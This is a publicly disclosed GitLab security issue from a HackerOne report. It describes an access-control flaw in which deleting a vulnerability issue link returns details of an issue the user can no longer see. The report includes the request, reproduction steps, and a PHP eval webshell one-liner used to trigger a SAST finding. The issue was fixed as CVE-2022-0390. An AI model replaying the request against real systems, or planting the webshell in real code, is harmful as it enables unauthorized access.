Closed Issue created 1 year ago by GitLab SecurityBot

Ability to access a previously accessible issue

HackerOne report #1179733 by `wi11` on 2021-04-29, assigned to @ankelly:

Report | Attachments | How To Reproduce

Report

Summary

Hi team,

At GitLab, you can link to an existing issue for a vulnerability, and the issues can be linked across groups and projects. The user can't link an issue that he can't access to. But the user can delete the issue link he has created before, and the related information about the issue will be returned when deleting, so if an issue link is created by a user and the visibility level of this issue is changed, the user can still delete this issue link to get the information about the issue that he can't access.

Request

```
DELETE /api/v4/vulnerabilities/7989487/issue_links/9274 HTTP/1.1
Host: gitlab.com
```

Steps to reproduce

Step to reproduce
You need two accounts to reproduce this.

1.As the victim, create a public project -> create an issue.

2.As the attacker, You need to have a Vulnerability Report.(if you have one, jump to Step 4)
3.As attacker -> create a project -> go to Security & Compliance -> Configuration -> Enable (SAST) -> upload a php file with code `<?php eval($_POST['888']);?>` to your repository -> wait for the pipeline passed -> go to Vulnerability report.
4.Go to Vulnerability report -> link issue that you create on Sept 1. (Paste the issue link)
5.Intercept the request -> remove the issue you will intercept the request like this, and send it to the repeater, **remember don't forward it otherwise it will be removed**
6.As the victim, change the project visibility to private and make some changes to the title and description on the issue that created at Step 1.
7.As the attacker sends the request, you will find that the information of the issue is returned.

Impact

After an issue became inaccessible to the attacker, he still can retrieve information about the issue. (title, description, state, assignees, etc.)

What is the current *bug* behavior?

When an issue link with a previously accessible issue was delete the information of the inaccessible issue was returned.

```
DELETE /api/v4/vulnerabilities/[REDACTED]/issue_links/9274 HTTP/1.1
Host: gitlab.com
Connection: close
Accept: application/json, text/plain, */*
X-CSRF-Token:
X-Requested-With: XMLHttpRequest
Origin: https://gitlab.com
Accept-Encoding: gzip, deflate
Cookie:
```

```
HTTP/1.1 200 OK
Date: Thu, 29 Apr 2021 06:21:32 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, HEAD, POST, PUT, PATCH, DELETE, OPTIONS
Access-Control-Allow-Origin: https://gitlab.com
```

```
Access-Control-Expose-Headers: Link, X-Total, X-Total-Pages, X-Per-Page, X-Page, X-Next-Page, X-Prev
Access-Control-Max-Age: 7200
Cache-Control: max-age=0, private, must-revalidate
Etag: W/"23a17e185fb2cd10bfa81a06e6f25d84"
Vary: Origin
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Gitlab-Feature-Category: vulnerability_management
X-Request-Id: 01F4E4M9NQCH1XTG95DP4NQGNJ
X-Runtime: 0.237133
Strict-Transport-Security: max-age=31536000
Referrer-Policy: strict-origin-when-cross-origin
RateLimit-Observed: 9
RateLimit-Remaining: 1991
RateLimit-Reset: 1619677352
RateLimit-ResetTime: Thu, 29 Apr 2021 06:22:32 GMT
RateLimit-Limit: 2000
GitLab-LB: fe-09-lb-gprd
GitLab-SV: localhost
CF-Cache-Status: DYNAMIC
cf-request-id: 09bde33e1e00001a5e7033d000000001
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 64766e4368b11a5e-SIN
Content-Length: 3692

{"id":9274,"vulnerability":{"id":7989487,"title":"Please do not use eval() functions","description":
```

What is the expected *correct* behavior?

the information of the inaccessible issue should not be returned.

Output of checks

This bug happens on GitLab.com

Impact

After an issue became inaccessible to the attacker, he still can retrieve information about the issue. (title, description, state, assignees, etc.)

Attachments

How To Reproduce

Please add reproducibility information to this section:

1.
2.
3.

Edited 8 months ago by Costel Maxim

Drag your designs here or click to upload.

Tasks 0

No tasks are currently assigned. Use tasks to break down this issue into smaller parts.

Linked items 0

Link issues together to show that they're related or that one is blocking others. Learn more.

Activity

GitLab SecurityBot changed due date to August 03, 2021 1 year ago

GitLab SecurityBot added Weakness CWE-200 priority 3 severity 3 scoped labels 1 year ago

GitLab SecurityBot added HackerOne security labels 1 year ago

GitLab SecurityBot @gitlab-securitybot · 1 year ago Author Reporter

HackerOne comment by `magicmouse`:

Hi [@]wi11,

Thank you for your submission. I hope you are well. Your report is currently being reviewed and the HackerOne triage team will get back to you once there is additional information to share.

Have a great day!

Kind regards, [@]magicmouse

Andrew Kelly added group project management devops plan scoped labels 1 year ago

Andrew Kelly @ankelly · 1 year ago Developer

Confirmed. I think this is a very low severity vulnerability (CVSS AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N (2.7)) since the 'attacker' really shouldn't be able to see that updated information. The information is not particularly sensitive, as far as I can tell. Note that you don't actually need Guest or any other access-level to the 'victim' public project, you can just link any public issues to your vulnerability report at will.

I think the solution is to probably prevent someone from deleting issue links if they don't have access, or at the very least limit the data returned from a DELETE request when the user does not have access.

I *think* this might be group project management since its the `issue_link` that is impacted. Please feel free to correct me if I'm wrong and we can assign it to the appropriate group. Based on that, cc @gweaver @jlear

Edited by Andrew Kelly 1 year ago

Jake Lear @jlear · 1 year ago Contributor

Thanks @ankelly - I'm going to bump down to severity 4 priority 4

Please register or sign in to reply

GitLab SecurityBot @gitlab-securitybot · 1 year ago Author Reporter

@gweaver @jlear @donaldcook @cmaxim This issue is ready for triage as per HackerOne process.

About this automation: AppSec Escalation Engine

Gabe Weaver changed milestone to %14.2 1 year ago

GitLab Bot added Accepting merge requests label 1 year ago

GitLab Bot added section dev scoped label 1 year ago

Jake Lear added priority 4 severity 4 scoped labels and automatically removed priority 3 severity 3 labels 1 year ago

John Hope added backend label 1 year ago

John Hope mentioned in issue plan#365 (closed) 1 year ago

Jake Lear changed milestone to %14.5 1 year ago

Jake Lear removed due date 1 year ago

Jake Lear changed milestone to %Backlog 1 year ago

Costel Maxim added security-backlog review-complete scoped label 1 year ago

James Ritchey added type bug scoped label 11 months ago

Magdalena Frankiewicz assigned to @m_frankiewicz 11 months ago

GitLab Bot added bug vulnerability scoped label 10 months ago

Magdalena Frankiewicz changed weight to **2** 10 months ago

Magdalena Frankiewicz added workflow in review scoped label 10 months ago

Costel Maxim @cmaxim · 9 months ago Developer

CVE requested: https://gitlab.com/gitlab-org/cves/-/issues/345

Andrew Kelly @ankelly · 9 months ago Developer

This was fixed in `14.7.1` and assigned `CVE-2022-0390`

Edited by Andrew Kelly 9 months ago

Andrew Kelly closed 9 months ago

GitLab SecurityBot @gitlab-securitybot · 8 months ago Author Reporter

@cmaxim - this HackerOne security issue was closed 30 days ago and should be made public. Please follow the process for disclosing security issues.

If the issue needs to stay confidential, please add the keep confidential label.

If you removed confidential data from the issue description before making it public, make sure that the description history entry is deleted.

Costel Maxim changed the description 8 months ago

Costel Maxim made the issue visible to everyone 8 months ago

Please register or sign in to reply